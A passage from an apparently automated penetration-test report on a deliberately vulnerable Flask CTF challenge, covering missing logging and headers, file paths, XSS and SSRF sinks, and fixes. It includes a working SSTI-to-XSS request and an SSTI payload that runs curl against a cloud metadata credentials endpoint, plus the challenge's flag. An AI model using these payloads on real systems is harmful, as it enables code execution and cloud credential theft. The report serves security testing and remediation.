**No Exception Logging**: The try/except block at lines 23-26 in app.py catches exceptions but returns them to the user (`rendered_template = str(e)`) rather than logging them server-side. This exposes internal error details to attackers while failing to create audit trails for security teams.

**No Audit Trail**: No audit logging for data access, form submissions, or administrative actions (no admin actions exist). If this application handled real user data, there would be no way to detect data breaches, unauthorized access, or compliance violations.

**No Monitoring Integrations**: No Prometheus metrics exporters, no Datadog/New Relic APM agents, no Sentry error tracking, no ELK/Splunk log forwarding, no CloudWatch integration. The application runs blind without observability into security incidents, performance issues, or operational problems.

**Infrastructure Configuration for Security Headers**: No security headers are configured at any layer:

**Application Layer** (File: `app.py`):
No Flask-Talisman or manual header setting. No `@app.after_request` hooks to add security headers like:
- Content-Security-Policy (CSP) - Missing
- Strict-Transport-Security (HSTS) - Missing
- X-Frame-Options - Missing
- X-Content-Type-Options - Missing
- Referrer-Policy - Missing
- Permissions-Policy - Missing

**Infrastructure Layer**:
No reverse proxy (nginx/HAProxy) configurations found. Searching the codebase for nginx.conf, apache.conf, or similar reveals no results. No Kubernetes Ingress configurations with security header annotations. No CDN configuration (Cloudflare, CloudFront) that could inject security headers. **Result**: All security headers must be set at application layer, which they are not.

**Network Security**: The docker-compose.yml defines no network segmentation:
```yaml
# No networks: defined
# Container uses default bridge network with full internet egress
```
The container has unrestricted outbound network access (can make requests to any internet destination, though the application doesn't currently do so), no ingress firewall rules beyond port mapping, and no network policies (no Kubernetes NetworkPolicy, no Docker network isolation). In a compromised scenario via SSTI exploitation, attackers could use the container as a pivot point for lateral movement, exfiltrate data to external servers, or perform network scanning of internal infrastructure.

---

## 7. Overall Codebase Indexing

The XBEN-080-24 codebase demonstrates an extremely minimalist architecture optimized for CTF challenge deployment rather than production application development. The repository structure follows a shallow hierarchy with clear separation between application code, infrastructure configuration, and documentation, making security-relevant components immediately discoverable without deep directory traversal.

**Root Directory Structure**: The project root (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/`) contains the standard CTF challenge metadata and deployment configurations. Critical files at this level include `.env` (containing the CTF flag in plaintext—a deliberate vulnerability), `docker-compose.yml` (container orchestration), `benchmark.json` (CTF challenge metadata with difficulty rating and category classification), and `.git/` directory (version control with the flag committed in initial commit, creating an irreversible exposure scenario demonstrating secret management failures).

**Application Code Organization** (`/app/` directory): The application code resides in a single-level `app/` subdirectory containing the Dockerfile (container build specification), requirements.txt (single dependency: Flask), and the `website/` subdirectory which houses the actual Python application. This structure represents a "flat" organization pattern with no modular decomposition—no separate directories for models/, controllers/, services/, utils/, middleware/, or config/ as seen in larger Flask applications. The lack of modularity is intentional for CTF simplicity but means all security-relevant code exists in a single file, making vulnerability discovery straightforward but also indicating no architectural defense-in-depth layers.

**Core Application Code** (`/app/website/` directory): The entire Flask application logic exists in `app.py` (30 lines including blank lines), making this the most critical file for security analysis. This single file contains all route definitions (4 endpoints), all business logic (form submission handling), and the SSTI vulnerability (line 23). The extreme brevity (30 lines total) eliminates complexity-driven security bugs but concentrates all vulnerability risk in a single exploitable function. The `static/` subdirectory contains no custom JavaScript or CSS files—the application relies entirely on Bootstrap CDN resources, eliminating client-side code review requirements but introducing CDN dependency trust concerns. The `templates/` subdirectory contains five Jinja2 HTML templates: `base.html` (base layout with Bootstrap 5.3.0 CDN imports), `index.html` (homepage), `about.html` (company information page with a non-functional contact form), `application.html` (job application form collecting five PII fields), and `thank_you.html` (submission confirmation page that renders the SSTI-vulnerable template output at line 5).

**Infrastructure-as-Code**: The repository contains no advanced infrastructure configuration—no Kubernetes manifests (no `k8s/` or `manifests/` directory), no Terraform/Pulumi infrastructure definitions, no Ansible playbooks, no CI/CD pipeline definitions (no `.github/workflows/`, `.gitlab-ci.yml`, or `Jenkinsfile`), and no Helm charts. Deployment is managed exclusively through `docker-compose.yml` in the root directory, indicating this is designed for local Docker deployment or simple single-instance hosting rather than cloud-native multi-instance deployments with auto-scaling, service mesh, or sophisticated networking.

**Dependency Management Approach**: The application uses minimal dependency pinning, demonstrating insecure dependency management practices. The `requirements.txt` specifies only `Flask` without version constraints (no `Flask==3.1.2` pin, no `Flask>=3.1.0,<4.0.0` range), allowing any Flask version including potentially vulnerable older versions. In practice, the Python 3.10.19 Docker base image defaults to Flask 3.1.2 and Jinja2 3.1.6 at build time, but these versions are not explicitly locked, creating dependency reproducibility issues. No lock file mechanisms exist (no poetry.lock, no Pipfile.lock, no pip-compile usage to generate pinned requirements), meaning builds at different times could install different minor/patch versions with different vulnerabilities. No dependency vulnerability scanning is integrated (no Dependabot, no Snyk, no Safety checks in CI/CD).

**Testing Infrastructure**: No test infrastructure exists—no `tests/` directory, no pytest/unittest test files, no test fixtures, no integration tests, no security tests, and no test coverage reporting. The absence of automated testing means no regression testing for security fixes, no validation of input validation logic (none exists to validate), and no automated security testing (no SAST/DAST integration). For a CTF challenge, lack of tests is acceptable, but this pattern in production code would indicate inadequate quality assurance and security validation.

**Build and Deployment Tooling**: The build process uses standard Docker/Docker Compose without advanced orchestration. The Dockerfile follows a simple multi-line pattern: (1) Python 3.10.19-slim base image selection, (2) dependency installation via pip, (3) application code copy, (4) port 80 exposure, (5) flask run command execution. No multi-stage builds to separate build-time dependencies from runtime images, no image scanning (no Trivy/Clair/Anchore integration), no build-time security linting (no hadolint for Dockerfile linting), and no automated vulnerability patching. The docker-compose.yml orchestrates a single service (`web`) with minimal configuration—no health checks, no restart policies beyond default, no resource limits, and no network segmentation.

**Documentation and Metadata**: The repository includes `benchmark.json` which identifies this as a Medium-difficulty Web Exploitation CTF challenge (category: "Web") with the challenge ID "XBEN-080-24" and flag format `flag{...}`. No README.md exists to explain the application's purpose, setup instructions, or intended functionality. No SECURITY.md, no CONTRIBUTING.md, no API documentation (no Swagger/OpenAPI specs), and no architecture diagrams. For security researchers, the lack of documentation requires full code review to understand functionality, which is intentional for CTF challenges but impacts discoverability of security components.

**Version Control Patterns**: Git history analysis reveals the repository was initialized with a single comprehensive commit (commit hash `bea93d6`) containing all files including the vulnerable .env file. No subsequent commits exist, indicating this is a snapshot deployment rather than an actively developed codebase. The commit message "Initial checkpoint: Local repository setup" suggests the repository was created for CTF challenge deployment rather than extracted from a real development workflow. The inclusion of .env in the initial commit demonstrates a common real-world mistake—developers initializing repositories with secrets already in the working directory, then committing before creating .gitignore, permanently exposing secrets in git history.

**Security-Relevant File Discoverability**: For penetration testers, the flat structure and minimal file count (approximately 15 total files) makes security component discovery trivial:
- **Authentication code**: None exists (no auth/ directory, no @login_required decorators)
- **API endpoints**: All in `app.py` lines 6-27 (4 routes total)
- **Input validation**: None exists (no validators/ directory, no WTForms usage)
- **Database queries**: None exist (no models/ directory, no SQLAlchemy setup)
- **Secret storage**: `.env` in root (immediately discoverable), `/FLAG.txt` in container (documented in Dockerfile)
- **Configuration**: `docker-compose.yml` in root (port mapping, build args), Dockerfile in `app/` (CMD, EXPOSE)
- **Third-party dependencies**: `requirements.txt` lists only Flask (no complex dependency trees)

**Code Generation and Automation**: No code generation tools detected—no GraphQL code generators, no OpenAPI client generators, no ORM schema generators, no database migration scripts (no Alembic, no Flask-Migrate). All code is hand-written, eliminating code generation security bugs but also indicating no database schema versioning or automated API contract validation.

**Convention over Configuration**: The application follows minimal Flask conventions—uses `app.py` as entry point (Flask default), `templates/` directory for Jinja2 templates (Flask convention), `static/` directory for static assets (Flask convention), and `requirements.txt` for dependencies (Python convention). However, it violates Flask security best practices: no blueprints for route organization, no application factory pattern for testing, no configuration class hierarchy (dev/test/prod configs), and no extension initialization (no Flask-Login, Flask-WTF, Flask-Limiter).

The codebase organization optimizes for CTF challenge clarity and exploitation practice rather than production security, with a deliberate focus on a single vulnerability (SSTI) discoverable through straightforward code review of a 30-line application file.

---

## 8. Critical File Paths

This section catalogs all security-relevant file paths referenced throughout this analysis, organized by functional category to facilitate manual security review and penetration testing activities.

### Configuration Files
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/docker-compose.yml` - Container orchestration, port mapping (36217:80), flag build argument definition
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/Dockerfile` - Container build specification, root user execution, flag storage at /FLAG.txt (lines 19-20), Werkzeug development server CMD (line 24)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/.env` - **CRITICAL**: CTF flag stored in plaintext (line 1), committed to Git history
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/benchmark.json` - CTF challenge metadata (Medium difficulty, Web Exploitation category)

### Authentication & Authorization
**Status: NO FILES EXIST** - The application implements zero authentication or authorization mechanisms. No login endpoints, no auth middleware, no permission validators, no session management, and no security decorators exist.

### API & Routing
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/website/app.py` - **CRITICAL**: Main application file containing all route definitions and the SSTI vulnerability
  - Lines 6-8: `GET /` route (index page)
  - Lines 10-12: `GET /about` route (about page)
  - Lines 14-16: `GET /application` route (job application form)
  - Lines 18-27: `POST /submit` route **[SSTI VULNERABILITY]** - Server-Side Template Injection at line 23 enabling RCE
  - Line 20: User input extraction (`name = request.form['name']`)
  - Line 22: F-string interpolation with user input
  - Line 23: **CRITICAL VULNERABILITY**: `template = Template(thank_you_message)` - Dynamic Jinja2 template creation from user input
  - Line 24: Template rendering execution (`template.render()`)
  - Line 26: Exception exposure to users (`rendered_template = str(e)`)

### Data Models & DB Interaction
**Status: NO FILES EXIST** - The application has no database, no ORM models, no SQL queries, and no data persistence layer. All form data is ephemeral and discarded after HTTP response generation.

### Dependency Manifests
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/requirements.txt` - Python dependencies (single entry: Flask, no version pin)
  - Line 1: `Flask` (no version constraint, defaults to Flask 3.1.2 with Python 3.10.19)

### Sensitive Data & Secrets Handling
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/.env` - **CRITICAL SECRET EXPOSURE**: CTF flag in version control
  - Line 1: `FLAG="flag{43509ba5-dc71-4a57-b55d-96e228e4ddfe}"`
- `/FLAG.txt` (container filesystem path) - Flag storage location created at Docker build time, world-readable, accessible via SSTI exploitation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/Dockerfile` - Flag handling in build process
  - Line 19: `ARG FLAG` - Build argument declaration (insecure secret method)
  - Line 20: `RUN echo -n $FLAG > /FLAG.txt` - Flag written to filesystem

### Middleware & Input Validation
**Status: NO FILES EXIST** - The application implements zero input validation, zero security middleware, zero rate limiting, zero CSRF protection, and zero sanitization logic. Direct user input flows to template rendering without any validation layers.

### Logging & Monitoring
**Status: NO FILES EXIST** - The application has no logging configuration, no monitoring integration, no security event logging, and no audit trail mechanisms. Flask default stderr logging captures only HTTP request lines without security context.

### Infrastructure & Deployment
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/docker-compose.yml` - Service definition, port mapping (host 36217 → container 80), build arguments
  - Lines 4-6: Build context and flag ARG definition
  - Line 8: Port exposure (`"36217:80"` - HTTP only, no HTTPS)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/Dockerfile` - Container security configuration (or lack thereof)
  - Line 1: Base image (`FROM python:3.10.19-slim`)
  - Line 2: Working directory (`WORKDIR /app/website`)
  - Lines 3-4: Dependency installation
  - Line 5: Application code copy
  - Lines 19-20: Flag storage (ARG and RUN commands)
  - Line 22: Port exposure (`EXPOSE 80`)
  - Line 24: **INSECURE**: Development server in production (`CMD ["flask", "run", "--host=0.0.0.0", "-p 80"]`)

### HTML Templates (User-Facing Pages)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/website/templates/base.html` - Base template with Bootstrap 5.3.0 CDN imports (no SRI hashes)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/website/templates/index.html` - Homepage (static content, no security concerns)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/website/templates/about.html` - About page with non-functional contact form (lines 97-111, no POST endpoint)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/website/templates/application.html` - **PII COLLECTION**: Job application form
  - Lines 10-29: HTML form collecting 5 PII fields (name, email, phone, experience, license)
  - Line 9: `<form action="/submit" method="POST">` - No CSRF token
  - Lines 11-12: Name field (text input, required)
  - Lines 15-16: Email field (email input, HTML5 validation only)
  - Lines 19-20: Phone field (tel input, HTML5 validation only)
  - Lines 23-24: Experience field (number input)
  - Lines 27-28: **HIGHLY SENSITIVE**: Driver's license number field (text input, required)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/website/templates/thank_you.html` - Submission confirmation page
  - Line 5: `{{ rendered_template }}` - Outputs SSTI-generated content (potential XSS vector via SSTI)

### CTF Flag Storage (High-Value Intelligence)
- `/FLAG.txt` (container filesystem) - Primary flag storage, created at build time, accessible via SSTI file read
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/.env` (host filesystem) - Flag in version control, permanent exposure in Git history (commit `bea93d6`)
- Docker image metadata - Flag stored in image layer history via build ARG (extractable with `docker history` command)

### Version Control
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/.git/` - Git repository with .env file committed in initial commit (commit hash `bea93d6667dbd5f742bbd50c7401a8149c3a86ae`)
- **Missing File**: `.gitignore` - No gitignore file exists, allowing secret files to be accidentally committed

### Static Assets
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/website/static/` - Static files directory (empty, application uses Bootstrap CDN exclusively)

---

## 9. XSS Sinks and Render Contexts

This section catalogs all identified Cross-Site Scripting (XSS) sinks within the network-accessible attack surface, focusing on locations where user-controllable data is rendered in browser contexts. Analysis is limited to in-scope components (web application pages served by Flask routes) and excludes local-only scripts, build tools, or non-network-accessible components.

### SSTI-Based XSS Sink [CRITICAL]

**Primary XSS Sink via Server-Side Template Injection**:
- **File**: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/website/templates/thank_you.html`
- **Line**: 5
- **Code**: `{{ rendered_template }}`
- **Render Context**: HTML Body Context
- **Severity**: CRITICAL (bypasses all XSS protections via SSTI)

**Detailed Analysis**: This is not a traditional client-side XSS sink but rather an XSS vector enabled by the Server-Side Template Injection vulnerability. The data flow begins at the POST /submit endpoint where user input in the `name` parameter is processed through a vulnerable SSTI pattern at `app.py:23` (`template = Template(thank_you_message)`), allowing attackers to inject Jinja2 template syntax that gets executed server-side. The rendered output from this SSTI execution is then passed to the thank_you.html template via the `rendered_template` variable and output at line 5 within an HTML div element.

**Why Traditional XSS Protections Fail**: Jinja2's auto-escaping feature (enabled by default) normally protects against XSS by HTML-encoding variables before output. For example, if `rendered_template` contained `<script>alert('XSS')</script>`, Jinja2 would output `&lt;script&gt;alert('XSS')&lt;/script&gt;`, preventing execution. However, the SSTI vulnerability at app.py:23 allows attackers to control the **template source code itself** before rendering, not just template variables. This means attackers can inject Jinja2 directives like `{{ '<script>alert(1)</script>' | safe }}` which explicitly marks the string as safe HTML, bypassing auto-escaping and executing JavaScript in victim browsers.

**Exploitation Path**:
```
1. Attacker crafts SSTI payload in 'name' parameter:
   POST /submit
   name={{ '<script>alert(document.domain)</script>' | safe }}

2. Backend processes at app.py:20-24:
   name = request.form['name']
   thank_you_message = "Thank you {{ '<script>alert(document.domain)</script>' | safe }} for your submission."
   template = Template(thank_you_message)  ← Jinja2 parses attacker's template syntax
   rendered_template = template.render()  ← Executes and produces: "Thank you <script>alert(document.domain)</script> for your submission."

3. Output at thank_you.html:5:
   <div class="alert alert-success" role="alert" id="thankyou">
       {{ rendered_template }}  ← Outputs: <script>alert(document.domain)</script>
   </div>

4. Browser receives response with unescaped script tag and executes JavaScript
```

**Attack Scenarios**:
- **Reflected XSS via SSTI**: Single victim exploitation by tricking user to submit malicious form
- **Self-XSS**: Attacker submits payload and views own response (limited impact)
- **Stored XSS**: Not applicable—application doesn't persist data, so XSS is reflected-only

**Render Context Classification**: HTML Body Context. The `{{ rendered_template }}` variable is output inside a `<div>` element's body content (between opening and closing tags), not in an attribute, script block, or style block. This allows injection of arbitrary HTML elements including `<script>` tags, `<img>` tags with onerror handlers, `<iframe>` tags, and other HTML-based XSS vectors.

### No Direct Client-Side XSS Sinks Found

**JavaScript Execution Context Sinks**: NONE FOUND
- **Searched patterns**: `eval()`, `Function()` constructor, `setTimeout(string)`, `setInterval(string)`, `new Function()`
- **Result**: No custom JavaScript code exists in the application. All JavaScript is loaded from Bootstrap 5.3.0 CDN (bootstrap.bundle.min.js), which contains no eval() usage in production builds and no user-controllable data flows.

**Dangerous Property Sinks**: NONE FOUND
- **Searched patterns**: `innerHTML`, `outerHTML`, `document.write()`, `document.writeln()`, `insertAdjacentHTML()`, `createContextualFragment()`
- **Result**: No custom client-side JavaScript in `/app/website/static/` directory. Application relies entirely on Bootstrap's JavaScript, which doesn't expose these dangerous properties to user input.

**jQuery HTML Sinks**: NONE FOUND
- **Searched patterns**: `$().html()`, `.append()`, `.prepend()`, `.after()`, `.before()`, `.replaceWith()`, `.wrap()`
- **Result**: Application doesn't use jQuery. Bootstrap 5.x removed jQuery dependency, using vanilla JavaScript instead. No custom jQuery code exists in templates or static files.

**DOM-Based XSS via URL**: NONE FOUND
- **Searched patterns**: `location.href`, `location.replace()`, `location.assign()`, `window.open()`, `history.pushState()`, `history.replaceState()`, `document.URL`, `window.location.hash`
- **Result**: No JavaScript code reads from `window.location` or URL parameters to dynamically update the DOM. All rendering is server-side via Jinja2 templates.

**Event Handler Injection**: LOW RISK
- **Analysis**: HTML templates contain no inline event handlers (`onclick`, `onerror`, `onload`, `onmouseover`) that incorporate user data. All interactive behavior (Bootstrap dropdowns, modals, form validation) is handled by Bootstrap's JavaScript without user data interpolation.

**Template Variable Output in Script Blocks**: NONE FOUND
- **Analysis**: No `<script>` blocks in HTML templates contain Jinja2 variables. All templates use Jinja2 variables only in HTML body contexts (text nodes, href attributes for static links), never in JavaScript execution contexts.

### Auto-Escaping Protection Analysis

**Jinja2 Auto-Escaping Status**: ENABLED BY DEFAULT
- **Configuration**: Flask enables Jinja2 auto-escaping automatically for .html, .htm, .xml template files (Flask default behavior)
- **Verification**: No explicit `{% autoescape false %}` directives found in any template files
- **Protection Scope**: All `{{ variable }}` outputs in templates are HTML-escaped unless explicitly marked with `| safe` filter

**Templates Using Auto-Escaping Correctly**:
- `base.html` - No user variables output (only static HTML and Bootstrap CDN links)
- `index.html` - No user variables output (static homepage content)
- `about.html` - No user variables output (static company information, non-functional form)
- `application.html` - Form input page with no output of user data (only input fields)

**Template with Bypassable Protection**:
- `thank_you.html:5` - `{{ rendered_template }}` outputs SSTI-generated content. While auto-escaping is enabled, the SSTI vulnerability allows attackers to inject `| safe` filters or other Jinja2 directives that disable escaping before the content reaches this output point.

### XSS Prevention Recommendations

**CRITICAL - Fix SSTI Vulnerability (Eliminates XSS Vector)**:
Replace vulnerable code at `app.py:20-27`:
```python
# VULNERABLE CODE (DO NOT USE):
name = request.form['name']
thank_you_message = f'Thank you {name} for your submission.'
template = Template(thank_you_message)
rendered_template = template.render()

# SECURE CODE (USE THIS):
name = request.form.get('name', '')[:100]  # Length limit
return render_template('thank_you.html', name=name)
```

Update `thank_you.html`:
```html
<!-- SECURE: Auto-escaping applies to name variable -->
<div class="alert alert-success" role="alert" id="thankyou">
    Thank you {{ name }} for your submission.
    <br>
    We will contact you shortly.
</div>
```

**HIGH PRIORITY - Add Content-Security-Policy Header**:
```python
@app.after_request
def set_security_headers(response):
    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' https://cdn.jsdelivr.net; img-src 'self' data:; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none';"
    return response
```

**MEDIUM PRIORITY - Add Subresource Integrity (SRI) to CDN Resources**:
Update Bootstrap CDN links in `base.html` with SRI hashes:
```html
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" 
      rel="stylesheet" 
      integrity="sha384-9ndCyUaIbzAi2FUVXJi0CjmCapSmO7SnpJef0486qhLnuZ2cdeRhO02iuK6FUUVM" 
      crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js" 
        integrity="sha384-geWF76RCwLtnZ8qwWowPQNguL3RmwHVBC9FhGdlKrxdiJJigb/j/68SIy3Te4Bkz" 
        crossorigin="anonymous"></script>
```

### XSS Sink Summary

| Sink Location | Type | Context | Severity | Exploitable |
|--------------|------|---------|----------|-------------|
| `thank_you.html:5` | SSTI-based XSS | HTML Body | CRITICAL | Yes (via SSTI at app.py:23) |
| Client-side JS sinks | N/A | N/A | N/A | None found |
| jQuery sinks | N/A | N/A | N/A | None found (no jQuery) |
| DOM-based URL sinks | N/A | N/A | N/A | None found |
| Event handler injection | N/A | N/A | LOW | No user data in handlers |

**Conclusion**: The application has **one critical XSS vector** enabled by the SSTI vulnerability, allowing bypassing of Jinja2's auto-escaping protections. No traditional client-side XSS sinks exist due to the absence of custom JavaScript code. Fixing the SSTI vulnerability at `app.py:23` eliminates the XSS attack surface entirely.

---

## 10. SSRF Sinks

This section documents the analysis of Server-Side Request Forgery (SSRF) attack surfaces within the network-accessible components of the application. SSRF vulnerabilities occur when an application can be manipulated to make server-side HTTP requests to attacker-controlled destinations, potentially accessing internal resources, cloud metadata services, or sensitive internal APIs.

### SSRF Analysis Summary: NO SINKS FOUND

After comprehensive analysis of the XBEN-080-24 Flask application codebase, dependency manifests, and runtime behavior patterns, **zero SSRF attack surfaces were identified**. The application's minimalist architecture and lack of outbound HTTP functionality eliminate all server-side request forgery vectors.

### HTTP Client Libraries: NOT PRESENT

**Python HTTP Client Analysis**:
- **requests library**: NOT FOUND (not in requirements.txt, not imported in app.py)
- **urllib/urllib2/urllib3**: NOT FOUND (no imports detected)
- **http.client/httplib**: NOT FOUND (no socket-level HTTP implementations)
- **httpx**: NOT FOUND (modern async HTTP client not present)
- **aiohttp**: NOT FOUND (async HTTP framework not used)

**Dependency Verification** (File: `requirements.txt`):
```
Flask
```
Only Flask is listed as a dependency. Flask itself includes Werkzeug which contains HTTP client capabilities (werkzeug.test.Client) but these are only used for testing and are not utilized in the application code.

**Code Analysis** (File: `app.py`, Lines: 1-30):
```python
from flask import Flask, render_template, request
from jinja2 import Template
```
No HTTP client libraries imported. The application imports only Flask framework components (Flask, render_template, request) and Jinja2 Template class for rendering. No urllib.request, no requests, no httpx, no aiohttp imports exist.

### Raw Socket Connections: NOT PRESENT

**Socket Programming Analysis**:
- **socket.socket()**: NOT FOUND (no socket module imports)
- **socket.create_connection()**: NOT FOUND
- **socket.connect()**: NOT FOUND
- **telnetlib.Telnet**: NOT FOUND (no telnet client usage)

**Result**: The application does not perform any low-level socket operations, eliminating raw socket-based SSRF vectors (e.g., Gopher protocol SSRF, Redis protocol smuggling, SMTP command injection).

### URL Openers & File Fetchers: NOT PRESENT

**File Operation Analysis**:
- **urllib.request.urlopen()**: NOT FOUND (no urllib imports)
- **open() with URLs**: NOT FOUND (no file operations in code, open() function never called)
- **requests.get().content file fetching**: NOT FOUND (no requests library)

**Code Review**: The application performs **zero file operations**. Searching for `open(`, `read(`, `write(`, `fopen`, file I/O patterns yields no matches in app.py. The application does not read from or write to the filesystem at runtime (the Dockerfile writes `/FLAG.txt` at **build time**, not runtime).

### Subprocess with URL Arguments: NOT PRESENT

**System Command Execution Analysis**:
- **subprocess.run()**: NOT FOUND (no subprocess imports)
- **subprocess.Popen()**: NOT FOUND
- **os.system()**: NOT FOUND (no os.system calls)
- **os.popen()**: NOT FOUND
- **curl/wget system commands**: NOT FOUND (no shell command execution)

**Result**: While the SSTI vulnerability allows attackers to execute arbitrary Python code including subprocess calls, the application itself does not contain any subprocess or system command execution code paths. SSRF via command injection is not a native application feature, though attackers exploiting SSTI could craft their own SSRF payloads post-exploitation.

### Image/Media Processors: NOT PRESENT

**Media Processing Library Analysis**:
- **PIL/Pillow (Python Imaging Library)**: NOT FOUND (not in requirements.txt, no PIL imports)
- **OpenCV (cv2)**: NOT FOUND
- **ImageMagick via subprocess**: NOT FOUND (no imagemagick system calls)
- **FFmpeg**: NOT FOUND

**Result**: The application processes no images, videos, or media files. No file upload handling exists (no `request.files` usage in code).

### PDF Generators with External Content: NOT PRESENT

**PDF Generation Library Analysis**:
- **pdfkit (wkhtmltopdf wrapper)**: NOT FOUND
- **WeasyPrint**: NOT FOUND
- **ReportLab**: NOT FOUND
- **PyPDF2/pypdf**: NOT FOUND

**Result**: No PDF generation capabilities exist. The application is a simple HTML form processor with no document generation features.

### Webhook/Callback Handlers: NOT PRESENT

**Webhook Analysis**:
- **User-provided callback URLs**: NOT FOUND (no endpoints accept URL parameters)
- **"Ping my endpoint" functionality**: NOT FOUND
- **Webhook configuration endpoints**: NOT FOUND
- **OAuth callback endpoints**: NOT FOUND (no OAuth implementation)

**Endpoint Review**: All four application endpoints (GET /, GET /about, GET /application, POST /submit) process no URL parameters. The POST /submit endpoint accepts form data (name, email, phone, experience, license) but none of these fields are interpreted as URLs or used to construct server-side HTTP requests.

### Link Preview / URL Unfurlers: NOT PRESENT

**Link Preview Analysis**:
- **Beautiful Soup with requests**: NOT FOUND (no BeautifulSoup, no requests library)
- **URL metadata extractors**: NOT FOUND
- **oEmbed fetchers**: NOT FOUND
- **Open Graph protocol parsers**: NOT FOUND

**Result**: The application performs no URL fetching or HTML parsing from external sources.

### SSO/OAuth Discovery Endpoints: NOT PRESENT

**SSO/OAuth Analysis**:
- **OpenID Connect discovery** (`/.well-known/openid-configuration`): NOT FOUND (no OAuth implementation)
- **JWKS fetchers** (JSON Web Key Set retrieval): NOT FOUND (no JWT handling)
- **OAuth authorization server metadata**: NOT FOUND
- **SAML metadata fetchers**: NOT FOUND

**Authentication Review**: The application implements **zero authentication mechanisms** (see Section 3). No SSO, no OAuth, no SAML, no third-party authentication integrations exist, eliminating all OAuth-related SSRF vectors.

### Cloud Metadata Access: NOT EXPLOITABLE FROM APPLICATION CODE

**Cloud Metadata Service Analysis**:
- **AWS metadata** (`http://169.254.169.254/latest/meta-data/`): Application code never accesses
- **GCP metadata** (`http://metadata.google.internal/computeMetadata/v1/`): Application code never accesses
- **Azure metadata** (`http://169.254.169.254/metadata/instance`): Application code never accesses

**Important Note**: While the application code does not natively access cloud metadata services, an attacker exploiting the SSTI vulnerability (app.py:23) could craft payloads to perform SSRF attacks against cloud metadata services post-exploitation:

```python
# Example SSTI payload for AWS metadata access (requires requests library installation):
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}
```

However, this represents **post-exploitation capability via SSTI**, not a native SSRF sink in the application architecture. The distinction is critical: the application does not provide SSRF functionality as designed, but the SSTI vulnerability enables attackers to add arbitrary functionality including SSRF after initial compromise.

### DNS Lookups with User Input: NOT PRESENT

**DNS Resolution Analysis**:
- **socket.gethostbyname()**: NOT FOUND (no socket imports, no DNS lookups)
- **socket.getaddrinfo()**: NOT FOUND
- **DNS rebinding attack surfaces**: NOT APPLICABLE (no DNS resolution performed)

**Result**: The application never resolves domain names or performs DNS lookups based on user input.

### Client-Side Resource Fetching: NOT AN SSRF VECTOR

**Bootstrap CDN Resources** (Files: `templates/*.html`):
```html
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js">
```

**Classification**: These are **client-side resources** fetched by user browsers, NOT server-side requests. The Flask application serves HTML that references these CDN URLs, but the Flask server itself never makes HTTP requests to jsDelivr. This does not constitute an SSRF attack surface.

**Distinction**: Server-Side Request Forgery requires the **server** to make HTTP requests based on user input. Client-side resource loading (CSS, JavaScript, images loaded by browsers) does not meet this definition, as the server is not making the requests.

### SSRF Sink Summary Table

| SSRF Sink Category | Libraries/Patterns Searched | Result | Exploitable |
|-------------------|---------------------------|---------|-------------|
| HTTP Client SSRF | requests, urllib, httpx, aiohttp | NOT FOUND | No |
| Socket-based SSRF | socket.connect(), telnetlib | NOT FOUND | No |
| Subprocess SSRF | subprocess + curl/wget | NOT FOUND | No |
| File Fetcher SSRF | urlopen(), open() with URLs | NOT FOUND | No |
| Image Processor SSRF | PIL, cv2, ImageMagick | NOT FOUND | No |
| PDF Generator SSRF | pdfkit, WeasyPrint | NOT FOUND | No |
| Webhook SSRF | User callback URLs | NOT FOUND | No |
| OAuth/OIDC SSRF | JWKS fetchers, discovery endpoints | NOT FOUND | No |
| Cloud Metadata SSRF | 169.254.169.254 access | NOT FOUND | No (native) |
| DNS Rebinding SSRF | gethostbyname() with user input | NOT FOUND | No |
| **TOTAL** | **All categories** | **0 SINKS** | **N/A** |

### Architectural Factors Eliminating SSRF

The application's minimalist architecture creates several factors that eliminate SSRF attack surfaces:

1. **No External Integrations**: The application makes zero outbound HTTP requests to external APIs, payment processors, email services, or third-party platforms. It operates in complete network isolation from a request perspective.

2. **Single-Tier Architecture**: No microservices, no internal service-to-service communication, no backend-to-backend API calls. All functionality exists in a single Flask process that only receives requests, never makes them.

3. **No User-Controlled URLs**: None of the form fields (name, email, phone, experience, license) are interpreted as URLs or used to construct HTTP requests. The application treats all user input as text data for display purposes only.

4. **No Database**: The absence of a database eliminates database-specific SSRF vectors (e.g., PostgreSQL COPY FROM PROGRAM, MySQL LOAD DATA INFILE with URLs, MongoDB's $where with HTTP requests).

5. **Minimal Dependencies**: The requirements.txt contains only Flask, eliminating third-party library SSRF vulnerabilities (no vulnerable versions of requests, urllib3, etc.).

### Post-Exploitation SSRF via SSTI

